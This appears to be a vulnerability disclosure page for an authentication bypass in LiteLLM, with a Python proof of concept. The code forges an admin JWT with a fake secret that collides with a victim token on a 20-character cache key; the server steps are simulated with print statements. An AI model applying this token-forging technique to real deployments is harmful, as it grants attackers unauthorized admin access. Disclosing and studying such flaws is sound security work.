CVE-2026-35030 LiteLLM认证绕过漏洞

import jwt import time # Description: Proof of Concept for CVE-2026-35030 # The vulnerability relies on the cache key being the first 20 chars of the token. # JWT headers with the same algorithm produce the same prefix. # Target algorithm (Must match the victim's configuration, e.g., HS256) algorithm = "HS256" # 1. Victim's Token (Simulated) # Header: {"alg": "HS256", "typ": "JWT"} -> Base64: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 victim_payload = {"user_id": "admin_user", "role": "admin"} victim_token = jwt.encode(victim_payload, "real_secret_key", algorithm=algorithm) print(f"Victim Token Prefix: {victim_token[:20]}") # 2. Attacker's Token Construction # The attacker creates a new token with a fake secret and fake payload. # The critical part is using the SAME algorithm. attacker_payload = {"user_id": "hacker", "role": "admin"} # The signature doesn't matter because of the cache collision logic attacker_token = jwt.encode(attacker_payload, "fake_random_secret", algorithm=algorithm) print(f"Attacker Token Prefix: {attacker_token[:20]}") # 3. Verification if victim_token[:20] == attacker_token[:20]: print("\n[!] Cache Collision Detected!") print("[+] Sending attacker token to the server...") print("[+] Server checks cache for key: '" + victim_token[:20] + "'") print("[+] Cache Hit! Server returns victim's identity.") else: print("[-] No collision.")